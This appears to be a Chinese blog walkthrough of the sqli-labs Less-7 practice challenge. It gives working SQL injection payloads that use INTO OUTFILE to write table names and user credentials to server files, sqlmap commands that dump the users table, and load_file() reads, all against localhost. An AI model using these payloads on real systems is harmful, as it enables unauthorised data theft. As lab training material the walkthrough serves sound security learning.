sqli-labs：Less-7关卡详细解析
1. 思路🚀
本关的SQL语句为：
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
- 注入类型：字符串型（单引号、双括号包裹）
- 提示：参数id需以
'))闭合
同样无法像常规一样回显，php输出语句的代码如下：
if($row)
{echo '<font color= "#FFFF00">'; echo 'You are in.... Use outfile......';echo "<br>";echo "</font>";
}
对于无回显的情况，我们会想到：
- 布尔盲注：逻辑判断✅
- 时间盲注：延时判断✅
- 报错盲注：报错回显❌
我用sqlmap扫到了布尔盲注与时间盲注，但根据提示是想要我们通过MySQL的load_file(文件读取)和into outfile(文件写入)来解决本关卡，先搞into outfile()，再搞load_file()。
2. 条件🧩
对这个关卡感观不好，是因为要求挺多的，还是找了不少文章+AI辅助才解决本关卡。首先需要打开MySQL的命令行，查看secure_file_priv的值。
| 值 | 含义 | 是否允许文件操作 |
|---|---|---|
具体路径 | 仅允许操作该目录下的文件（如你的 D:\...\Uploads\） | ✅ 有条件允许 |
NULL | 禁止所有文件导入/导出操作 | ❌ 完全禁止 |
空字符串 '' | 允许操作任意路径的文件（高危！） | ✅ 完全允许 |
我的属于具体路径，截图展示：
这就意味着，我必须在指定的路径中进行文件读写，当然我可以修改这个路径，可修改的位置在MySQL安装时的my.ini中，具体修改位置：
一定要MySQL80服务的，不然不会生效。出于学习的目的，我就不改路径了，大家随意。
3. 手工注入步骤🎯
我的地址栏是：http://localhost:8081/Less-7/，只需要将下面的sql语句粘贴即可。
3.1. 正常请求⚡
?id=1
说明：测试回显情况
3.2. 判断字段数⚡
?id=-1')) order by 4 --+
order by 4：探测字段数（报错说明字段数=3）
3.3. 写入基础信息⚡
?id=-1')) union select database(),version(),user() into outfile "D:\\MySQL\\MySQL Server 8.0.31 Data\\Uploads\\1.txt" --+
3.4. 写入表名⚡
?id=-1')) union select 1,2, group_concat(table_name) from information_schema.tables where table_schema = 'security' into outfile "D:\\MySQL\\MySQL Server 8.0.31 Data\\Uploads\\2.txt" --+
3.5. 写入字段⚡
?id=-1')) union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users' into outfile "D:\\MySQL\\MySQL Server 8.0.31 Data\\Uploads\\3.txt" --+
3.6. 写入数据⚡
?id=-1')) union select 1,username,password from users into outfile "D:\\MySQL\\MySQL Server 8.0.31 Data\\Uploads\\4.txt" --+
因为updatexml()函数最多显示32位数据，建议使用concat()搭配limit + offset使用，例如limit n,1，n为起始位置。
3.7. 参数汇总表⭐
| 参数 | 作用 | 示例 |
|---|---|---|
')) | 闭合符号 | id=1')) |
--+ | 注释符 | --+ |
order by | 判断字段数 | order by 4 |
union select | 联合查询 | union select 1,2,3 |
group_concat() | 合并结果 | group_concat(table_name) |
information_schema | 系统数据库 | from information_schema.tables |
table_schema | 数据库名称 | table_schema='security' |
table_name | 数据表名称 | table_name='users' |
column_name | 字段名称 | group_concat(column_name) |
4. SQLMap工具测试🎯
url地址换成自己的，后面一定要加上id=1，比如：http://localhost:8081/Less-7/?id=1
# 检测注入点
python sqlmap.py -u "http://localhost:8081/Less-7/?id=1" --batch# 爆数据库
python sqlmap.py -u "url" --dbs --batch# 爆表名
python sqlmap.py -u "url" -D security --tables --batch# 爆列名
python sqlmap.py -u "url" -D security -T users --columns --batch# 爆数据
python sqlmap.py -u "url" -D security -T users -C id,username,password --dump --batch
命令1截图：
命令5截图：
SQLMap参数表⭐
| 参数 | 功能 |
|---|---|
--batch | 非交互模式 |
--dbs | 枚举数据库 |
-D | 指定数据库 |
-T | 指定表 |
-C | 指定列 |
--dump | 导出数据 |
5. 读取文件🔍
load_file()和into outfile()是成对出现的，我通过mysql命令行的方式，简单了解下load_file()。
select load_file("D:\\MySQL\\MySQL Server 8.0.31 Data\\Uploads\\1.txt");
文件内容是十六进制编码形式，而非原始文本，需要改一下语句：
select convert(load_file("D:\\MySQL\\MySQL Server 8.0.31 Data\\Uploads\\1.txt") using utf8) as file_content;
6. 总结🏁
刚开始我用sqlmap扫的时候，发现只有布尔盲注和时间盲注，尽管根据本题解析也能通过，但是条件未免也太严格了(一开始怎么知道能不能写入文件)。
声明：本文仅用于安全学习，严禁非法测试！ ❗❗❗